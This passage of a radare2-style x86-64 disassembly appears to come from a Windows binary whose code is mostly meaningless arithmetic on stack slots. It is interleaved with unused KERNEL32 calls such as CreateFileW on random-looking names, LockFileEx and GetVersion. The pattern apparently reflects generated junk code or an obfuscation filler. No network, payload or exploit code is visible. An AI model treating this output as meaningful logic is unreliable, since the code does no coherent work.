mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac98], eax
mov eax, dword [rsp + 0xaad4]
mov dword [rsp + 0xac9c], eax
mov rax, qword [rsp + 0x13ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa98c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13610]
mov dword [rcx], eax
mov rax, qword [0x140363a00]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa88], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1621
mov r9d, 0x5cb
mov r8d, 0x3a794869
mov edx, 1
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xac90], eax
mov rax, qword [rsp + 0x13e40]
mov ecx, dword [rsp + 0xa3f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x755c], eax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
movzx ecx, word [0x140362e1c]
xor eax, ecx
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0x138e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140353576], al
lea rax, [rsp + 0xab44]
mov qword [rsp + 0x14720], rax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13d70]
mov qword [rsp + 0x14728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14728]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x717c], eax
lea rax, [rsp + 0xab68]
mov qword [rsp + 0x14730], rax
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13cd8]
mov dword [rcx], eax
lea rdx, [rsp + 0x14028]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaca0], eax
movzx eax, byte [rsp + 0x6e7]
movzx ecx, byte [rsp + 0x5fb]
and eax, ecx
mov byte [rsp + 0x416], al
mov r9d, 0xfe2
xor r8d, r8d
lea rdx, [rsp + 0x13c28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa924], eax
lea rax, [rsp + 0x2b28]
mov qword [rsp + 0x14738], rax
mov rax, qword [rsp + 0x14000]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e18]
add eax, ecx
mov rcx, qword [rsp + 0x142e8]
mov word [rcx], ax
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x14740], rax
lea rax, [rsp + 0xaaf0]
mov qword [0x140363cc0], rax
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [rsp + 0x133a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x763c], eax
movzx eax, byte [rsp + 0x6c5]
mov rcx, qword [rsp + 0x133e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4bc], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x14748], rax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [rsp + 0x13b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6824], eax
mov rax, qword [rsp + 0x14128]
mov eax, dword [rax]
mov dword [rsp + 0xaca4], eax
mov rax, qword [0x140363c70]
mov ecx, dword [rsp + 0x9c48]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13538]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab54]
mov ecx, dword [rsp + 0x870c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab58], eax
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0x14750], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.JUgfsCb1H6rZ31duNP3rnLDoZ6vQlaaMVJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14758], rax
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [rsp + 0x6e0]
sub eax, ecx
mov byte [0x14035359f], al
mov r9d, 1
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x13058]
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa9bc], eax
mov rax, qword [rsp + 0x13b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac08], eax
mov eax, dword [rsp + 0xab9c]
mov dword [rsp + 0xaca8], eax
mov rax, qword [rsp + 0x136c8]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [rsp + 0x13b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x134a8]
mov dword [rcx], eax
lea rax, [rsp + 0xaa14]
mov qword [rsp + 0x14760], rax
movsx eax, byte [rsp + 0x28f]
mov rcx, qword [rsp + 0x143e8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
lea rax, [rsp + 0x2a64]
mov qword [rsp + 0x14768], rax
movzx ecx, word [rsp + 0x2b08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b80], ax
movzx eax, word [rsp + 0x2ad0]
mov rcx, qword [0x140363c80]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14658]
mov word [rcx], ax
mov rax, qword [rsp + 0x133e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13670]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14035e4d5], al
mov rax, qword [rsp + 0x13fe0]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8808], eax
mov rax, qword [rsp + 0x13da0]
mov ecx, dword [rsp + 0xaa98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x142c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x14158]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x464], al
lea rax, [0x140362b7c]
mov qword [rsp + 0x14770], rax
mov rax, qword [rsp + 0x13c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fe8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8c4]
mov dword [rsp + 0xacac], eax
mov rax, qword [rsp + 0x13d10]
mov ecx, dword [0x14035cbf0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6898]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c4], eax
lea rax, [rsp + 0x6d7]
mov qword [0x140363cc8], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x14778], rax
mov eax, dword [rsp + 0xa8c4]
mov ecx, dword [0x140363a20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa970], eax
mov eax, dword [rsp + 0xa9e4]
mov ecx, dword [rsp + 0x870c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8638], eax
movsx eax, byte [0x14035e4a5]
mov rcx, qword [rsp + 0x14740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e6], al
movsx eax, word [rsp + 0x2a3c]
movsx ecx, word [rsp + 0x2b4c]
sub eax, ecx
mov word [rsp + 0x2990], ax
lea rax, [rsp + 0x6c9]
mov qword [rsp + 0x14780], rax
mov rax, qword [rsp + 0x141b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16a4]
sar eax, cl
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov eax, dword [rsp + 0xaad4]
mov dword [rsp + 0xacb0], eax
mov rax, qword [rsp + 0x136c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa914]
xor ecx, eax
mov eax, ecx
mov dword [0x14035cc24], eax
mov eax, dword [rsp + 0x717c]
movzx ecx, al
mov eax, dword [rsp + 0xabb0]
shl eax, cl
mov rcx, qword [rsp + 0x13818]
mov dword [rcx], eax
mov eax, dword [rsp + 0x924c]
mov dword [rsp + 0xacb4], eax
mov eax, dword [rsp + 0x710c]
mov ecx, dword [rsp + 0xab48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c98], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x29cc]
movzx ecx, word [rsp + 0x2a7c]
and eax, ecx
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0x13868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x118], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
mov rax, qword [0x140363c70]
mov ecx, dword [rsp + 0xa998]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x13bb8]
mov eax, dword [rax]
mov dword [rsp + 0xacb8], eax
mov rax, qword [rsp + 0x13910]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
lea rax, [rsp + 0x6788]
mov qword [0x140363cd0], rax
mov rax, qword [rsp + 0x14290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14298]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2098], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x14788], rax
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacbc], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov qword [rsp + 0x20], 0
mov r9d, 0x1621
mov r8d, 0x5cb
mov edx, 0xa5
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xaa50], eax
movsx eax, byte [rsp + 0x4ff]
mov rcx, qword [0x140363a90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13560]
mov byte [rcx], al
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x14790], rax
mov rax, qword [rsp + 0x14348]
mov ecx, dword [rsp + 0xabd8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13970]
mov rcx, qword [0x1403639d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x139f8]
mov dword [rcx], eax
lea rax, [rsp + 0x416]
mov qword [rsp + 0x14798], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacc0], eax
movzx eax, word [rsp + 0x29a0]
mov rcx, qword [rsp + 0x145f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
mov rax, qword [rsp + 0x14128]
mov rcx, qword [0x140363a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140363950]
mov dword [rcx], eax
lea rax, [rsp + 0xaae4]
mov qword [rsp + 0x147a0], rax
mov eax, dword [rsp + 0xa978]
mov rcx, qword [rsp + 0x13ae0]
mov qword [rsp + 0x147a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x146d8]
mov qword [rsp + 0x147b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147b0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x133d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x29b8]
and eax, ecx
mov word [rsp + 0x19d8], ax
movzx eax, byte [rsp + 0x6df]
movzx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x6b9], al
mov eax, dword [rsp + 0xaa88]
mov dword [rsp + 0xacc4], eax
mov eax, dword [rsp + 0x86a8]
mov ecx, dword [rsp + 0xa914]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0xaaf0]
mov qword [rsp + 0x147b8], rax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa38], eax
mov rax, qword [0x140363c70]
mov ecx, dword [rsp + 0x7a74]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363bf0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa9b0]
mov ecx, dword [rsp + 0x65d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa1c], eax
mov r9d, 2
lea r8, [rsp + 0x13958]
mov rdx, qword [rsp + 0x13958]
mov rcx, qword [rsp + 0x14590]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xacc8], eax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13b50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa50], eax
lea rcx, str.ApAU_Zq_f
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b84], ax
movsx eax, byte [rsp + 0x6d0]
movsx ecx, byte [rsp + 0x6da]
sub eax, ecx
mov byte [rsp + 0x43e], al
mov rax, qword [rsp + 0x14578]
movzx eax, word [rax]
mov word [rsp + 0x2b88], ax
mov rax, qword [rsp + 0x14530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13de0]
mov word [rcx], ax
lea rax, [rsp + 0x68e]
mov qword [rsp + 0x147c0], rax
mov rax, qword [rsp + 0x134d0]
mov rcx, qword [rsp + 0x13c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x136f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa894], eax
mov r9d, 0x8ff
xor r8d, r8d
lea rdx, [rsp + 0x13200]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac04], eax
mov rax, qword [0x140363a40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2180], ax
mov rax, qword [rsp + 0x133e0]
movzx eax, byte [rax]
mov byte [0x14035e4f5], al
mov rax, qword [rsp + 0x13738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab98], eax
lea rax, [rsp + 0xa850]
mov qword [rsp + 0x147c8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaccc], eax
mov rax, qword [rsp + 0x13380]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa9b4]
shl eax, cl
mov dword [rsp + 0xa908], eax
mov eax, dword [rsp + 0xab6c]
mov ecx, dword [rsp + 0x7078]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
mov rax, qword [0x140363b78]
movzx eax, byte [rax]
mov byte [rsp + 0x6ea], al
mov rax, qword [rsp + 0x14750]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144f8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14580]
mov word [rcx], ax
lea rax, [rsp + 0x7908]
mov qword [rsp + 0x147d0], rax
mov eax, dword [rsp + 0xa8ec]
mov ecx, dword [0x140363b44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146c8]
mov dword [rcx], eax
lea rdx, [rsp + 0x14010]
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac6c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x135f0]
movzx eax, byte [rax]
mov byte [0x14035e4f6], al
mov rax, qword [rsp + 0x14640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x146b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13b88]
mov word [rcx], ax
lea rcx, str.C4DDctQ_RJm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b8c], ax
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x147d8], rax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13718]
mov byte [rcx], al
mov rax, qword [rsp + 0x13ee0]
mov ecx, dword [rsp + 0xabfc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7608], eax
mov eax, dword [rsp + 0xa8b0]
mov ecx, dword [0x14035cbd8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b80]
mov eax, dword [rax]
mov dword [rsp + 0xacd0], eax
mov eax, dword [rsp + 0xab74]
mov ecx, dword [rsp + 0xabc8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13dd0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x138b8]
mov eax, dword [rax]
mov ecx, dword [0x140363960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
lea rcx, [rsp + 0x41c58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x6c3]
mov byte [rsp + 0x6eb], al
mov rax, qword [rsp + 0x13e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
sub eax, ecx
mov word [0x14035cbfc], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x13f30]
mov ecx, dword [rsp + 0xaaf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab28], eax
mov eax, dword [rsp + 0xa9c0]
mov ecx, dword [rsp + 0xa904]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8840], eax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x14260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacd4], eax
mov rax, qword [0x1403639d0]
mov ecx, dword [rsp + 0x920c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c18], eax
mov rax, qword [rsp + 0x133c0]
movzx eax, byte [rax]
mov byte [rsp + 0x6ec], al
mov r9d, 1
lea r8, [rsp + 0x141f0]
mov rdx, qword [rsp + 0x14028]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa10], eax
movzx eax, word [0x140362c04]
movzx ecx, word [rsp + 0x2b00]
shl eax, cl
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x147e0], rax
movsx eax, word [rsp + 0x2a0c]
mov rcx, qword [rsp + 0x14578]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13428]
mov word [rcx], ax
mov eax, dword [rsp + 0xab0c]
mov rcx, qword [0x140363968]
mov qword [rsp + 0x147e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140363be8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa928], eax
movzx eax, byte [rsp + 0x6d6]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x56b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.EGilTwS0X6sVivzuFbn0P
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x147f0], rax
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14648]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2690], ax
mov r9d, 0x1a4d
xor r8d, r8d
lea rdx, [rsp + 0x13298]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
mov eax, dword [rsp + 0xa7b4]
mov dword [rsp + 0xacd8], eax
mov rax, qword [rsp + 0x13cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145c8]
mov rcx, qword [rsp + 0x13510]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6874], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8398], eax
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b6c]
and eax, ecx
mov word [rsp + 0x2af4], ax
xor r9d, r9d
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x13958]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xacdc], eax
movzx eax, byte [rsp + 0x166]
mov rcx, qword [rsp + 0x146e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403535a2], al
lea rax, [rsp + 0xaa98]
mov qword [rsp + 0x147f8], rax
mov rax, qword [rsp + 0x146a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa60], eax
lea rax, [rsp + 0x6d90]
mov qword [rsp + 0x14800], rax
mov rax, qword [rsp + 0x135d8]
mov rcx, qword [rsp + 0x13ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13508]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8380]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b88]
mov word [rsp + 0x2b90], ax
movsx eax, byte [rsp + 0x32c]
mov rcx, qword [rsp + 0x14740]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6be]
mov byte [rsp + 0x6ed], al
mov rax, qword [rsp + 0x14298]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x146b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140363a58]
mov word [rcx], ax
mov eax, dword [rsp + 0xaba0]
mov ecx, dword [rsp + 0xaa44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c88], eax
mov rax, qword [rsp + 0x13248]
mov rcx, qword [rsp + 0x141a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa78], eax
mov rax, qword [rsp + 0x13b38]
movzx eax, byte [rax]
mov rcx, qword [0x1403639c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x434], al
movzx eax, word [rsp + 0x1e64]
mov rcx, qword [rsp + 0x13838]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a44], ax
lea rax, [rsp + 0xaabc]
mov qword [rsp + 0x14808], rax
mov rax, qword [rsp + 0x13808]
mov rcx, qword [rsp + 0x13fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac08], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa184], eax
lea rax, [rsp + 0xaa1c]
mov qword [rsp + 0x14810], rax
movzx eax, byte [rsp + 0x6cd]
mov byte [0x14035e4f7], al
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29f0], ax
mov rax, qword [rsp + 0x13438]
mov eax, dword [rax]
mov dword [rsp + 0xace0], eax
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x95dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6e6]
mov rcx, qword [rsp + 0x13ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb7], al
movsx eax, word [rsp + 0x169c]
movsx ecx, word [rsp + 0x2a10]
and eax, ecx
mov rcx, qword [rsp + 0x14518]
mov word [rcx], ax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x6d3]
add eax, ecx
mov byte [rsp + 0xb4], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaac4], eax
mov r9d, 2
lea r8, [rsp + 0x143c0]
mov rdx, qword [rsp + 0x14818]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa92c], eax
lea rax, [rsp + 0x2a84]
mov qword [rsp + 0x14820], rax
mov eax, dword [rsp + 0x965c]
mov rcx, qword [rsp + 0x13c10]
mov qword [rsp + 0x14828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14828]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xacb4], eax
mov eax, dword [rsp + 0xa7d4]
mov rcx, qword [rsp + 0x13798]
mov qword [rsp + 0x14830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14830]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x1403639a8]
mov dword [rcx], eax
lea rax, [rsp + 0x717c]
mov qword [rsp + 0x14838], rax
mov eax, dword [0x140363a74]
mov ecx, dword [rsp + 0xac48]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14078]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13858]
mov rcx, qword [rsp + 0x139b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x717c], eax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x14840], rax
mov rax, qword [rsp + 0x14648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a30]
and eax, ecx
mov word [rsp + 0x2b2c], ax
lea rax, [rsp + 0xac4c]
mov qword [rsp + 0x14848], rax
mov rax, qword [rsp + 0x13af8]
mov rcx, qword [rsp + 0x13f30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac54], eax
mov rax, qword [rsp + 0x13a48]
mov ecx, dword [0x14035cbe8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x145e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14680]
mov ecx, dword [rsp + 0x95dc]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035cc3c], eax
mov dword [rsp + 0x20], 0x2889
mov r9d, 0x3a83
mov r8d, 0x2548
mov edx, 0x2243
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xac98], eax
mov r9d, 1
lea r8, [rsp + 0x14430]
mov rdx, qword [rsp + 0x14850]
mov rcx, qword [rsp + 0x14218]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xab14], eax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x14858], rax
movzx eax, byte [rsp + 0x6de]
